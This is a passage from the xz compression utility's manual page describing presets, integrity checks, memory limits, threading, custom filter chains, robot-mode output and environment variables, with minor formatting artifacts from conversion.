This is the default. When compressing, auto is equivalent to xz. When decompressing, the format of the input file is automatically detected. Note that raw streams (created with –format=raw) cannot be auto-detected.

xz
Compress to the .xz file format, or accept only .xz files when decompressing.

lzma, alone
Compress to the legacy .lzma file format, or accept only .lzma files when decompressing. The alternative name alone is provided for backwards compatibility with LZMA Utils.

lzip
Accept only .lz files when decompressing. Compression is not supported.

The .lz format version 0 and the unextended version 1 are supported. Version 0 files were produced by lzip 1.3 and older. Such files aren’t common but may be found from file archives as a few source packages were released in this format. People might have old personal files in this format too. Decompression support for the format version 0 was removed in lzip 1.18.

lzip 1.4 and later create files in the format version 1. The sync flush marker extension to the format version 1 was added in lzip 1.6. This extension is rarely used and isn’t supported by xz (diagnosed as corrupt input).

raw
Compress or uncompress a raw stream (no headers). This is meant for advanced users only. To decode raw streams, you need use –format=raw and explicitly specify the filter chain, which normally would have been stored in the container headers.

-C check, **–check=**check
Specify the type of the integrity check. The check is calculated from the uncompressed data and stored in the .xz file. This option has an effect only when compressing into the .xz format; the .lzma format doesn’t support integrity checks. The integrity check (if any) is verified when the .xz file is decompressed.

Supported check types:

none
Don’t calculate an integrity check at all. This is usually a bad idea. This can be useful when integrity of the data is verified by other means anyway.

crc32
Calculate CRC32 using the polynomial from IEEE-802.3 (Ethernet).

crc64
Calculate CRC64 using the polynomial from ECMA-182. This is the default, since it is slightly better than CRC32 at detecting damaged files and the speed difference is negligible.

sha256
Calculate SHA-256. This is somewhat slower than CRC32 and CRC64.

Integrity of the .xz headers is always verified with CRC32. It is not possible to change or disable it.

–ignore-check
Don’t verify the integrity check of the compressed data when decompressing. The CRC32 values in the .xz headers will still be verified normally.

Do not use this option unless you know what you are doing. Possible reasons to use this option:

  • Trying to recover data from a corrupt .xz file.

  • Speeding up decompression. This matters mostly with SHA-256 or with files that have compressed extremely well. It’s recommended to not use this option for this purpose unless the file integrity is verified externally in some other way.

-0-9
Select a compression preset level. The default is -6. If multiple preset levels are specified, the last one takes effect. If a custom filter chain was already specified, setting a compression preset level clears the custom filter chain.

The differences between the presets are more significant than with gzip(1) and bzip2(1). The selected compression settings determine the memory requirements of the decompressor, thus using a too high preset level might make it painful to decompress the file on an old system with little RAM. Specifically, it’s not a good idea to blindly use -9 for everything like it often is with gzip(1) and bzip2(1).

-0-3
These are somewhat fast presets. -0 is sometimes faster than gzip -9 while compressing much better. The higher ones often have speed comparable to bzip2(1) with comparable or better compression ratio, although the results depend a lot on the type of data being compressed.

-4-6
Good to very good compression while keeping decompressor memory usage reasonable even for old systems. -6 is the default, which is usually a good choice for distributing files that need to be decompressible even on systems with only 16 MiB RAM. (-5e or -6e may be worth considering too. See –extreme.)

-7 … -9
These are like -6 but with higher compressor and decompressor memory requirements. These are useful only when compressing files bigger than 8 MiB, 16 MiB, and 32 MiB, respectively.

On the same hardware, the decompression speed is approximately a constant number of bytes of compressed data per second. In other words, the better the compression, the faster the decompression will usually be. This also means that the amount of uncompressed output produced per second can vary a lot.

The following table summarises the features of the presets:

PresetDictSizeCompCPUCompMemDecMem
-0256 KiB03 MiB1 MiB
-11 MiB19 MiB2 MiB
-22 MiB217 MiB3 MiB
-34 MiB332 MiB5 MiB
-44 MiB448 MiB5 MiB
-58 MiB594 MiB9 MiB
-68 MiB694 MiB9 MiB
-716 MiB6186 MiB17 MiB
-832 MiB6370 MiB33 MiB
-964 MiB6674 MiB65 MiB

Column descriptions:

  • DictSize is the LZMA2 dictionary size. It is waste of memory to use a dictionary bigger than the size of the uncompressed file. This is why it is good to avoid using the presets -7-9 when there’s no real need for them. At -6 and lower, the amount of memory wasted is usually low enough to not matter.

  • CompCPU is a simplified representation of the LZMA2 settings that affect compression speed. The dictionary size affects speed too, so while CompCPU is the same for levels -6-9, higher levels still tend to be a little slower. To get even slower and thus possibly better compression, see –extreme.

  • CompMem contains the compressor memory requirements in the single-threaded mode. It may vary slightly between xz versions.

  • DecMem contains the decompressor memory requirements. That is, the compression settings determine the memory requirements of the decompressor. The exact decompressor memory usage is slightly more than the LZMA2 dictionary size, but the values in the table have been rounded up to the next full MiB.

Memory requirements of the multi-threaded mode are significantly higher than that of the single-threaded mode. With the default value of –block-size, each thread needs 3*3*DictSize plus CompMem or DecMem. For example, four threads with preset -6 needs 660–670 MiB of memory.

-e, –extreme
Use a slower variant of the selected compression preset level (-0-9) to hopefully get a little bit better compression ratio, but with bad luck this can also make it worse. Decompressor memory usage is not affected, but compressor memory usage increases a little at preset levels -0-3.

Since there are two presets with dictionary sizes 4 MiB and 8 MiB, the presets -3e and -5e use slightly faster settings (lower CompCPU) than -4e and -6e, respectively. That way no two presets are identical.

PresetDictSizeCompCPUCompMemDecMem
-0e256 KiB84 MiB1 MiB
-1e1 MiB813 MiB2 MiB
-2e2 MiB825 MiB3 MiB
-3e4 MiB748 MiB5 MiB
-4e4 MiB848 MiB5 MiB
-5e8 MiB794 MiB9 MiB
-6e8 MiB894 MiB9 MiB
-7e16 MiB8186 MiB17 MiB
-8e32 MiB8370 MiB33 MiB
-9e64 MiB8674 MiB65 MiB

For example, there are a total of four presets that use 8 MiB dictionary, whose order from the fastest to the slowest is -5, -6, -5e, and -6e.

–fast

–best

These are somewhat misleading aliases for -0 and -9, respectively. These are provided only for backwards compatibility with LZMA Utils. Avoid using these options.

**–block-size=**size
When compressing to the .xz format, split the input data into blocks of size bytes. The blocks are compressed independently from each other, which helps with multi-threading and makes limited random-access decompression possible. This option is typically used to override the default block size in multi-threaded mode, but this option can be used in single-threaded mode too.

In multi-threaded mode about three times size bytes will be allocated in each thread for buffering input and output. The default size is three times the LZMA2 dictionary size or 1 MiB, whichever is more. Typically a good value is 2–4 times the size of the LZMA2 dictionary or at least 1 MiB. Using size less than the LZMA2 dictionary size is waste of RAM because then the LZMA2 dictionary buffer will never get fully used. In multi-threaded mode, the sizes of the blocks are stored in the block headers. This size information is required for multi-threaded decompression.

In single-threaded mode no block splitting is done by default. Setting this option doesn’t affect memory usage. No size information is stored in block headers, thus files created in single-threaded mode won’t be identical to files created in multi-threaded mode. The lack of size information also means that xz won’t be able decompress the files in multi-threaded mode.

**–block-list=**items
When compressing to the .xz format, start a new block with an optional custom filter chain after the given intervals of uncompressed data.

The items are a comma-separated list. Each item consists of an optional filter chain number between 0 and 9 followed by a colon (:) and a required size of uncompressed data. Omitting an item (two or more consecutive commas) is a shorthand to use the size and filters of the previous item.

If the input file is bigger than the sum of the sizes in items, the last item is repeated until the end of the file. A special value of 0 may be used as the last size to indicate that the rest of the file should be encoded as a single block.

An alternative filter chain for each block can be specified in combination with the **–filters1=**filters–filters9=filters options. These options define filter chains with an identifier between 1–9. Filter chain 0 can be used to refer to the default filter chain, which is the same as not specifying a filter chain. The filter chain identifier can be used before the uncompressed size, followed by a colon (:). For example, if one specifies –block-list=1:2MiB,3:2MiB,2:4MiB,,2MiB,0:4MiB then blocks will be created using:

  • The filter chain specified by –filters1 and 2 MiB input

  • The filter chain specified by –filters3 and 2 MiB input

  • The filter chain specified by –filters2 and 4 MiB input

  • The filter chain specified by –filters2 and 4 MiB input

  • The default filter chain and 2 MiB input

  • The default filter chain and 4 MiB input for every block until end of input.

If one specifies a size that exceeds the encoder’s block size (either the default value in threaded mode or the value specified with **–block-size=**size), the encoder will create additional blocks while keeping the boundaries specified in items. For example, if one specifies –block-size=10MiB –block-list=5MiB,10MiB,8MiB,12MiB,24MiB and the input file is 80 MiB, one will get 11 blocks: 5, 10, 8, 10, 2, 10, 10, 4, 10, 10, and 1 MiB.

In multi-threaded mode the sizes of the blocks are stored in the block headers. This isn’t done in single-threaded mode, so the encoded output won’t be identical to that of the multi-threaded mode.

**–flush-timeout=**timeout
When compressing, if more than timeout milliseconds (a positive integer) has passed since the previous flush and reading more input would block, all the pending input data is flushed from the encoder and made available in the output stream. This can be useful if xz is used to compress data that is streamed over a network. Small timeout values make the data available at the receiving end with a small delay, but large timeout values give better compression ratio.

This feature is disabled by default. If this option is specified more than once, the last one takes effect. The special timeout value of 0 can be used to explicitly disable this feature.

This feature is not available on non-POSIX systems.

This feature is still experimental. Currently xz is unsuitable for decompressing the stream in real time due to how xz does buffering.

**–memlimit-compress=**limit
Set a memory usage limit for compression. If this option is specified multiple times, the last one takes effect.

If the compression settings exceed the limit, xz will attempt to adjust the settings downwards so that the limit is no longer exceeded and display a notice that automatic adjustment was done. The adjustments are done in this order: reducing the number of threads, switching to single-threaded mode if even one thread in multi-threaded mode exceeds the limit, and finally reducing the LZMA2 dictionary size.

When compressing with –format=raw or if –no-adjust has been specified, only the number of threads may be reduced since it can be done without affecting the compressed output.

If the limit cannot be met even with the adjustments described above, an error is displayed and xz will exit with exit status 1.

The limit can be specified in multiple ways:

  • The limit can be an absolute value in bytes. Using an integer suffix like MiB can be useful. Example: –memlimit-compress=80MiB

  • The limit can be specified as a percentage of total physical memory (RAM). This can be useful especially when setting the XZ_DEFAULTS environment variable in a shell initialization script that is shared between different computers. That way the limit is automatically bigger on systems with more memory. Example: –memlimit-compress=70%

  • The limit can be reset back to its default value by setting it to 0. This is currently equivalent to setting the limit to max (no memory usage limit).

For 32-bit xz there is a special case: if the limit would be over 4020 MiB, the limit is set to 4020 MiB. On MIPS32 2000 MiB is used instead. (The values 0 and max aren’t affected by this. A similar feature doesn’t exist for decompression.) This can be helpful when a 32-bit executable has access to 4 GiB address space (2 GiB on MIPS32) while hopefully doing no harm in other situations.

See also the section Memory usage.

**–memlimit-decompress=**limit
Set a memory usage limit for decompression. This also affects the –list mode. If the operation is not possible without exceeding the limit, xz will display an error and decompressing the file will fail. See **–memlimit-compress=**limit for possible ways to specify the limit.

**–memlimit-mt-decompress=**limit
Set a memory usage limit for multi-threaded decompression. This can only affect the number of threads; this will never make xz refuse to decompress a file. If limit is too low to allow any multi-threading, the limit is ignored and xz will continue in single-threaded mode. Note that if also –memlimit-decompress is used, it will always apply to both single-threaded and multi-threaded modes, and so the effective limit for multi-threading will never be higher than the limit set with –memlimit-decompress.

In contrast to the other memory usage limit options, **–memlimit-mt-decompress=**limit has a system-specific default limit. xz –info-memory can be used to see the current value.

This option and its default value exist because without any limit the threaded decompressor could end up allocating an insane amount of memory with some input files. If the default limit is too low on your system, feel free to increase the limit but never set it to a value larger than the amount of usable RAM as with appropriate input files xz will attempt to use that amount of memory even with a low number of threads. Running out of memory or swapping will not improve decompression performance.

See **–memlimit-compress=**limit for possible ways to specify the limit. Setting limit to 0 resets the limit to the default system-specific value.

-M limit, **–memlimit=**limit, **–memory=**limit
This is equivalent to specifying **–memlimit-compress=**limit **–memlimit-decompress=**limit **–memlimit-mt-decompress=**limit.

–no-adjust
Display an error and exit if the memory usage limit cannot be met without adjusting settings that affect the compressed output. That is, this prevents xz from switching the encoder from multi-threaded mode to single-threaded mode and from reducing the LZMA2 dictionary size. Even when this option is used the number of threads may be reduced to meet the memory usage limit as that won’t affect the compressed output.

Automatic adjusting is always disabled when creating raw streams (–format=raw).

-T threads, **–threads=**threads
Specify the number of worker threads to use. Setting threads to a special value 0 makes xz use up to as many threads as the processor(s) on the system support. The actual number of threads can be fewer than threads if the input file is not big enough for threading with the given settings or if using more threads would exceed the memory usage limit.

The single-threaded and multi-threaded compressors produce different output. Single-threaded compressor will give the smallest file size but only the output from the multi-threaded compressor can be decompressed using multiple threads. Setting threads to 1 will use the single-threaded mode. Setting threads to any other value, including 0, will use the multi-threaded compressor even if the system supports only one hardware thread. (xz 5.2.x used single-threaded mode in this situation.)

To use multi-threaded mode with only one thread, set threads to +1. The + prefix has no effect with values other than 1. A memory usage limit can still make xz switch to single-threaded mode unless –no-adjust is used. Support for the + prefix was added in xz 5.4.0.

If an automatic number of threads has been requested and no memory usage limit has been specified, then a system-specific default soft limit will be used to possibly limit the number of threads. It is a soft limit in sense that it is ignored if the number of threads becomes one, thus a soft limit will never stop xz from compressing or decompressing. This default soft limit will not make xz switch from multi-threaded mode to single-threaded mode. The active limits can be seen with xz –info-memory.

Currently the only threading method is to split the input into blocks and compress them independently from each other. The default block size depends on the compression level and can be overridden with the **–block-size=**size option.

Threaded decompression only works on files that contain multiple blocks with size information in block headers. All large enough files compressed in multi-threaded mode meet this condition, but files compressed in single-threaded mode don’t even if **–block-size=**size has been used.

The default value for threads is 0. In xz 5.4.x and older the default is 1.

Custom compressor filter chains

A custom filter chain allows specifying the compression settings in detail instead of relying on the settings associated to the presets. When a custom filter chain is specified, preset options (-0-9 and –extreme) earlier on the command line are forgotten. If a preset option is specified after one or more custom filter chain options, the new preset takes effect and the custom filter chain options specified earlier are forgotten.

A filter chain is comparable to piping on the command line. When compressing, the uncompressed input goes to the first filter, whose output goes to the next filter (if any). The output of the last filter gets written to the compressed file. The maximum number of filters in the chain is four, but typically a filter chain has only one or two filters.

Many filters have limitations on where they can be in the filter chain: some filters can work only as the last filter in the chain, some only as a non-last filter, and some work in any position in the chain. Depending on the filter, this limitation is either inherent to the filter design or exists to prevent security issues.

A custom filter chain can be specified in two different ways. The options **–filters=**filters and **–filters1=filters–filters9=filters allow specifying an entire filter chain in one option using the liblzma filter string syntax. Alternatively, a filter chain can be specified by using one or more individual filter options in the order they are wanted in the filter chain. That is, the order of the individual filter options is significant! When decoding raw streams (–format=raw), the filter chain must be specified in the same order as it was specified when compressing. Any individual filter or preset options specified before the full chain option (–filters=**filters) will be forgotten. Individual filters specified after the full chain option will reset the filter chain.

Both the full and individual filter options take filter-specific options as a comma-separated list. Extra commas in options are ignored. Every option has a default value, so specify those you want to change.

To see the whole filter chain and options, use xz -vv (that is, use –verbose twice). This works also for viewing the filter chain options used by presets.

–filters=filters
Specify the full filter chain or a preset in a single option. Each filter can be separated by spaces or two dashes (
). filters may need to be quoted on the shell command line so it is parsed as a single option. To denote options, use : or =. A preset can be prefixed with a - and followed with zero or more flags. The only supported flag is e to apply the same options as –extreme.

–filters1=filters–filters9=filters
Specify up to nine additional filter chains that can be used with –block-list.

For example, when compressing an archive with executable files followed by text files, the executable part could use a filter chain with a BCJ filter and the text part only the LZMA2 filter.

–filters-help
Display a help message describing how to specify presets and custom filter chains in the –filters and **–filters1=**filters … **–filters9=**filters options, and exit successfully.

–lzma1[**=**options]

–lzma2[**=**options]

Add LZMA1 or LZMA2 filter to the filter chain. These filters can be used only as the last filter in the chain.

LZMA1 is a legacy filter, which is supported almost solely due to the legacy .lzma file format, which supports only LZMA1. LZMA2 is an updated version of LZMA1 to fix some practical issues of LZMA1. The .xz format uses LZMA2 and doesn’t support LZMA1 at all. Compression speed and ratios of LZMA1 and LZMA2 are practically the same.

LZMA1 and LZMA2 share the same set of options:

**preset=**preset
Reset all LZMA1 or LZMA2 options to preset. Preset consist of an integer, which may be followed by single-letter preset modifiers. The integer can be from 0 to 9, matching the command line options -0-9. The only supported modifier is currently e, which matches –extreme. If no preset is specified, the default values of LZMA1 or LZMA2 options are taken from the preset 6.

**dict=**size
Dictionary (history buffer) size indicates how many bytes of the recently processed uncompressed data is kept in memory. The algorithm tries to find repeating byte sequences (matches) in the uncompressed data, and replace them with references to the data currently in the dictionary. The bigger the dictionary, the higher is the chance to find a match. Thus, increasing dictionary size usually improves compression ratio, but a dictionary bigger than the uncompressed file is waste of memory.

Typical dictionary size is from 64 KiB to 64 MiB. The minimum is 4 KiB. The maximum for compression is currently 1.5 GiB (1536 MiB). The decompressor already supports dictionaries up to one byte less than 4 GiB, which is the maximum for the LZMA1 and LZMA2 stream formats.

Dictionary size and match finder (mf) together determine the memory usage of the LZMA1 or LZMA2 encoder. The same (or bigger) dictionary size is required for decompressing that was used when compressing, thus the memory usage of the decoder is determined by the dictionary size used when compressing. The .xz headers store the dictionary size either as 2^n or 2^n + 2^(n-1), so these sizes are somewhat preferred for compression. Other sizes will get rounded up when stored in the .xz headers.

**lc=**lc
Specify the number of literal context bits. The minimum is 0 and the maximum is 4; the default is 3. In addition, the sum of lc and lp must not exceed 4.

All bytes that cannot be encoded as matches are encoded as literals. That is, literals are simply 8-bit bytes that are encoded one at a time.

The literal coding makes an assumption that the highest lc bits of the previous uncompressed byte correlate with the next byte. For example, in typical English text, an upper-case letter is often followed by a lower-case letter, and a lower-case letter is usually followed by another lower-case letter. In the US-ASCII character set, the highest three bits are 010 for upper-case letters and 011 for lower-case letters. When lc is at least 3, the literal coding can take advantage of this property in the uncompressed data.

The default value (3) is usually good. If you want maximum compression, test lc=4. Sometimes it helps a little, and sometimes it makes compression worse. If it makes it worse, test lc=2 too.

**lp=**lp
Specify the number of literal position bits. The minimum is 0 and the maximum is 4; the default is 0.

Lp affects what kind of alignment in the uncompressed data is assumed when encoding literals. See pb below for more information about alignment.

**pb=**pb
Specify the number of position bits. The minimum is 0 and the maximum is 4; the default is 2.

Pb affects what kind of alignment in the uncompressed data is assumed in general. The default means four-byte alignment (2^pb=2^2=4), which is often a good choice when there’s no better guess.

When the alignment is known, setting pb accordingly may reduce the file size a little. For example, with text files having one-byte alignment (US-ASCII, ISO-8859-*, UTF-8), setting pb=0 can improve compression slightly. For UTF-16 text, pb=1 is a good choice. If the alignment is an odd number like 3 bytes, pb=0 might be the best choice.

Even though the assumed alignment can be adjusted with pb and lp, LZMA1 and LZMA2 still slightly favor 16-byte alignment. It might be worth taking into account when designing file formats that are likely to be often compressed with LZMA1 or LZMA2.

**mf=**mf
Match finder has a major effect on encoder speed, memory usage, and compression ratio. Usually Hash Chain match finders are faster than Binary Tree match finders. The default depends on the preset: 0 uses hc3, 1–3 use hc4, and the rest use bt4.

The following match finders are supported. The memory usage formulas below are rough approximations, which are closest to the reality when dict is a power of two.

hc3
Hash Chain with 2- and 3-byte hashing
Minimum value for nice: 3
Memory usage:
dict * 7.5 (if dict <= 16 MiB);
dict * 5.5 + 64 MiB (if dict > 16 MiB)

hc4
Hash Chain with 2-, 3-, and 4-byte hashing
Minimum value for nice: 4
Memory usage:
dict * 7.5 (if dict <= 32 MiB);
dict * 6.5 (if dict > 32 MiB)

bt2
Binary Tree with 2-byte hashing
Minimum value for nice: 2
Memory usage: dict * 9.5

bt3
Binary Tree with 2- and 3-byte hashing
Minimum value for nice: 3
Memory usage:
dict * 11.5 (if dict <= 16 MiB);
dict * 9.5 + 64 MiB (if dict > 16 MiB)

bt4
Binary Tree with 2-, 3-, and 4-byte hashing
Minimum value for nice: 4
Memory usage:
dict * 11.5 (if dict <= 32 MiB);
dict * 10.5 (if dict > 32 MiB)

**mode=**mode
Compression mode specifies the method to analyze the data produced by the match finder. Supported modes are fast and normal. The default is fast for presets 0–3 and normal for presets 4–9.

Usually fast is used with Hash Chain match finders and normal with Binary Tree match finders. This is also what the presets do.

**nice=**nice
Specify what is considered to be a nice length for a match. Once a match of at least nice bytes is found, the algorithm stops looking for possibly better matches.

Nice can be 2–273 bytes. Higher values tend to give better compression ratio at the expense of speed. The default depends on the preset.

**depth=**depth
Specify the maximum search depth in the match finder. The default is the special value of 0, which makes the compressor determine a reasonable depth from mf and nice.

Reasonable depth for Hash Chains is 4–100 and 16–1000 for Binary Trees. Using very high values for depth can make the encoder extremely slow with some files. Avoid setting the depth over 1000 unless you are prepared to interrupt the compression in case it is taking far too long.

When decoding raw streams (–format=raw), LZMA2 needs only the dictionary size. LZMA1 needs also lc, lp, and pb.

–x86[**=**options]

–arm[**=options]
–armthumb[
=options]
–arm64[
=options]
–powerpc[
=options]
–ia64[
=options]
–sparc[
=options]
–riscv[
=**options]

Add a branch/call/jump (BCJ) filter to the filter chain. These filters can be used only as a non-last filter in the filter chain.

A BCJ filter converts relative addresses in the machine code to their absolute counterparts. This doesn’t change the size of the data but it increases redundancy, which can help LZMA2 to produce 0–15 % smaller .xz file. The BCJ filters are always reversible, so using a BCJ filter for wrong type of data doesn’t cause any data loss, although it may make the compression ratio slightly worse. The BCJ filters are very fast and use an insignificant amount of memory.

These BCJ filters have known problems related to the compression ratio:

  • Some types of files containing executable code (for example, object files, static libraries, and Linux kernel modules) have the addresses in the instructions filled with filler values. These BCJ filters will still do the address conversion, which will make the compression worse with these files.

  • If a BCJ filter is applied on an archive, it is possible that it makes the compression ratio worse than not using a BCJ filter. For example, if there are similar or even identical executables then filtering will likely make the files less similar and thus compression is worse. The contents of non-executable files in the same archive can matter too. In practice one has to try with and without a BCJ filter to see which is better in each situation.

Different instruction sets have different alignment: the executable file must be aligned to a multiple of this value in the input data to make the filter work.

FilterAlignmentNotes
x86132-bit or 64-bit x86
ARM4
ARM-Thumb2
ARM6444096-byte alignment is best
PowerPC4Big endian only
IA-6416Itanium
SPARC4
RISC-V2

Since the BCJ-filtered data is usually compressed with LZMA2, the compression ratio may be improved slightly if the LZMA2 options are set to match the alignment of the selected BCJ filter. Examples:

  • IA-64 filter has 16-byte alignment so pb=4,lp=4,lc=0 is good with LZMA2 (2^4=16).

  • RISC-V code has 2-byte or 4-byte alignment depending on whether the file contains 16-bit compressed instructions (the C extension). When 16-bit instructions are used, pb=2,lp=1,lc=3 or pb=1,lp=1,lc=3 is good. When 16-bit instructions aren’t present, pb=2,lp=2,lc=2 is the best. readelf -h can be used to check if “RVC” appears on the “Flags” line.

  • ARM64 is always 4-byte aligned so pb=2,lp=2,lc=2 is the best.

  • The x86 filter is an exception. It’s usually good to stick to LZMA2’s defaults (pb=2,lp=0,lc=3) when compressing x86 executables.

All BCJ filters support the same options:

**start=**offset
Specify the start offset that is used when converting between relative and absolute addresses. The offset must be a multiple of the alignment of the filter (see the table above). The default is zero. In practice, the default is good; specifying a custom offset is almost never useful.

–delta[**=**options]
Add the Delta filter to the filter chain. The Delta filter can be only used as a non-last filter in the filter chain.

Currently only simple byte-wise delta calculation is supported. It can be useful when compressing, for example, uncompressed bitmap images or uncompressed PCM audio. However, special purpose algorithms may give significantly better results than Delta + LZMA2. This is true especially with audio, which compresses faster and better, for example, with flac(1).

Supported options:

**dist=**distance
Specify the distance of the delta calculation in bytes. distance must be 1–256. The default is 1.

For example, with dist=2 and eight-byte input A1 B1 A2 B3 A3 B5 A4 B7, the output will be A1 B1 01 02 01 02 01 02.

Other options

-q, –quiet
Suppress warnings and notices. Specify this twice to suppress errors too. This option has no effect on the exit status. That is, even if a warning was suppressed, the exit status to indicate a warning is still used.

-v, –verbose
Be verbose. If standard error is connected to a terminal, xz will display a progress indicator. Specifying –verbose twice will give even more verbose output.

The progress indicator shows the following information:

  • Completion percentage is shown if the size of the input file is known. That is, the percentage cannot be shown in pipes.

  • Amount of compressed data produced (compressing) or consumed (decompressing).

  • Amount of uncompressed data consumed (compressing) or produced (decompressing).

  • Compression ratio, which is calculated by dividing the amount of compressed data processed so far by the amount of uncompressed data processed so far.

  • Compression or decompression speed. This is measured as the amount of uncompressed data consumed (compression) or produced (decompression) per second. It is shown after a few seconds have passed since xz started processing the file.

  • Elapsed time in the format M:SS or H:MM:SS.

  • Estimated remaining time is shown only when the size of the input file is known and a couple of seconds have already passed since xz started processing the file. The time is shown in a less precise format which never has any colons, for example, 2 min 30 s.

When standard error is not a terminal, –verbose will make xz print the filename, compressed size, uncompressed size, compression ratio, and possibly also the speed and elapsed time on a single line to standard error after compressing or decompressing the file. The speed and elapsed time are included only when the operation took at least a few seconds. If the operation didn’t finish, for example, due to user interruption, also the completion percentage is printed if the size of the input file is known.

-Q, –no-warn
Don’t set the exit status to 2 even if a condition worth a warning was detected. This option doesn’t affect the verbosity level, thus both –quiet and –no-warn have to be used to not display warnings and to not alter the exit status.

–robot
Print messages in a machine-parsable format. This is intended to ease writing frontends that want to use xz instead of liblzma, which may be the case with various scripts. The output with this option enabled is meant to be stable across xz releases. See the section ROBOT MODE for details.

–info-memory
Display, in human-readable format, how much physical memory (RAM) and how many processor threads xz thinks the system has and the memory usage limits for compression and decompression, and exit successfully.

-h, –help
Display a help message describing the most commonly used options, and exit successfully.

-H, –long-help
Display a help message describing all features of xz, and exit successfully

-V, –version
Display the version number of xz and liblzma in human readable format. To get machine-parsable output, specify –robot before –version.

ROBOT MODE

The robot mode is activated with the –robot option. It makes the output of xz easier to parse by other programs. Currently –robot is supported only together with –list, –filters-help, –info-memory, and –version. It will be supported for compression and decompression in the future.

List mode

xz –robot –list uses tab-separated output. The first column of every line has a string that indicates the type of the information found on that line:

name
This is always the first line when starting to list a file. The second column on the line is the filename.

file
This line contains overall information about the .xz file. This line is always printed after the name line.

stream
This line type is used only when –verbose was specified. There are as many stream lines as there are streams in the .xz file.

block
This line type is used only when –verbose was specified. There are as many block lines as there are blocks in the .xz file. The block lines are shown after all the stream lines; different line types are not interleaved.

summary
This line type is used only when –verbose was specified twice. This line is printed after all block lines. Like the file line, the summary line contains overall information about the .xz file.

totals
This line is always the very last line of the list output. It shows the total counts and sizes.

The columns of the file lines:

  1. Number of streams in the file

  2. Total number of blocks in the stream(s)

  3. Compressed size of the file

  4. Uncompressed size of the file

  5. Compression ratio, for example, 0.123. If ratio is over 9.999, three dashes () are displayed instead of the ratio.

  6. Comma-separated list of integrity check names. The following strings are used for the known check types: None, CRC32, CRC64, and SHA-256. For unknown check types, **Unknown-**N is used, where N is the Check ID as a decimal number (one or two digits).

  7. Total size of stream padding in the file

The columns of the stream lines:

  1. Stream number (the first stream is 1)

  2. Number of blocks in the stream

  3. Compressed start offset

  4. Uncompressed start offset

  5. Compressed size (does not include stream padding)

  6. Uncompressed size

  7. Compression ratio

  8. Name of the integrity check

  9. Size of stream padding

The columns of the block lines:

  1. Number of the stream containing this block

  2. Block number relative to the beginning of the stream (the first block is 1)

  3. Block number relative to the beginning of the file

  4. Compressed start offset relative to the beginning of the file

  5. Uncompressed start offset relative to the beginning of the file

  6. Total compressed size of the block (includes headers)

  7. Uncompressed size

  8. Compression ratio

  9. Name of the integrity check

If –verbose was specified twice, additional columns are included on the block lines. These are not displayed with a single –verbose, because getting this information requires many seeks and can thus be slow:

  1. Value of the integrity check in hexadecimal

  2. Block header size

  3. Block flags: c indicates that compressed size is present, and u indicates that uncompressed size is present. If the flag is not set, a dash (-) is shown instead to keep the string length fixed. New flags may be added to the end of the string in the future.

  4. Size of the actual compressed data in the block (this excludes the block header, block padding, and check fields)

  5. Amount of memory (in bytes) required to decompress this block with this xz version

  6. Filter chain. Note that most of the options used at compression time cannot be known, because only the options that are needed for decompression are stored in the .xz headers.

The columns of the summary lines:

  1. Amount of memory (in bytes) required to decompress this file with this xz version

  2. yes or no indicating if all block headers have both compressed size and uncompressed size stored in them

Since xz 5.1.2alpha:

  1. Minimum xz version required to decompress the file

The columns of the totals line:

  1. Number of streams

  2. Number of blocks

  3. Compressed size

  4. Uncompressed size

  5. Average compression ratio

  6. Comma-separated list of integrity check names that were present in the files

  7. Stream padding size

  8. Number of files. This is here to keep the order of the earlier columns the same as on file lines.

If –verbose was specified twice, additional columns are included on the totals line:

  1. Maximum amount of memory (in bytes) required to decompress the files with this xz version

  2. yes or no indicating if all block headers have both compressed size and uncompressed size stored in them

Since xz 5.1.2alpha:

  1. Minimum xz version required to decompress the file

Future versions may add new line types and new columns can be added to the existing line types, but the existing columns won’t be changed.

Filters help

xz –robot –filters-help prints the supported filters in the following format:

filter**:option=<value>,option=<value>**…

filter
Name of the filter

option
Name of a filter specific option

value
Numeric value ranges appear as <min-max>. String value choices are shown within < > and separated by a | character.

Each filter is printed on its own line.

Memory limit information

xz –robot –info-memory prints a single line with multiple tab-separated columns:

  1. Total amount of physical memory (RAM) in bytes.

  2. Memory usage limit for compression in bytes (–memlimit-compress). A special value of 0 indicates the default setting which for single-threaded mode is the same as no limit.

  3. Memory usage limit for decompression in bytes (–memlimit-decompress). A special value of 0 indicates the default setting which for single-threaded mode is the same as no limit.

  4. Since xz 5.3.4alpha: Memory usage for multi-threaded decompression in bytes (–memlimit-mt-decompress). This is never zero because a system-specific default value shown in the column 5 is used if no limit has been specified explicitly. This is also never greater than the value in the column 3 even if a larger value has been specified with –memlimit-mt-decompress.

  5. Since xz 5.3.4alpha: A system-specific default memory usage limit that is used to limit the number of threads when compressing with an automatic number of threads (–threads=0) and no memory usage limit has been specified (–memlimit-compress). This is also used as the default value for –memlimit-mt-decompress.

  6. Since xz 5.3.4alpha: Number of available processor threads.

In the future, the output of xz –robot –info-memory may have more columns, but never more than a single line.

Version

xz –robot –version prints the version number of xz and liblzma in the following format:

**XZ_VERSION=**XYYYZZZS
**LIBLZMA_VERSION=**XYYYZZZS

X
Major version.

YYY
Minor version. Even numbers are stable. Odd numbers are alpha or beta versions.

ZZZ
Patch level for stable releases or just a counter for development releases.

S
Stability. 0 is alpha, 1 is beta, and 2 is stable. S should be always 2 when YYY is even.

XYYYZZZS are the same on both lines if xz and liblzma are from the same XZ Utils release.

Examples: 4.999.9beta is 49990091 and 5.0.0 is 50000002.

EXIT STATUS

0
All is good.

1
An error occurred.

2
Something worth a warning occurred, but no actual errors occurred.

Notices (not warnings or errors) printed on standard error don’t affect the exit status.

ENVIRONMENT

xz parses space-separated lists of options from the environment variables XZ_DEFAULTS and XZ_OPT, in this order, before parsing the options from the command line. Note that only options are parsed from the environment variables; all non-options are silently ignored. Parsing is done with getopt_long(3) which is used also for the command line arguments.

XZ_DEFAULTS
User-specific or system-wide default options. Typically this is set in a shell initialization script to enable xz’s memory usage limiter by default. Excluding shell initialization scripts and similar special cases, scripts must never set or unset XZ_DEFAULTS.

XZ_OPT
This is for passing options to xz when it is not possible to set the options directly on the xz command line. This is the case when xz is run by a script or tool, for example, GNU tar(1):

XZ_OPT=-2v tar caf foo.tar.xz foo

Scripts may use XZ_OPT, for example, to set script-specific default compression options. It is still recommended to allow users to override XZ_OPT if that is reasonable. For example, in sh(1) scripts one may use something like this:

XZ_OPT=${XZ_OPT-"-7e"} export XZ_OPT

LZMA UTILS COMPATIBILITY

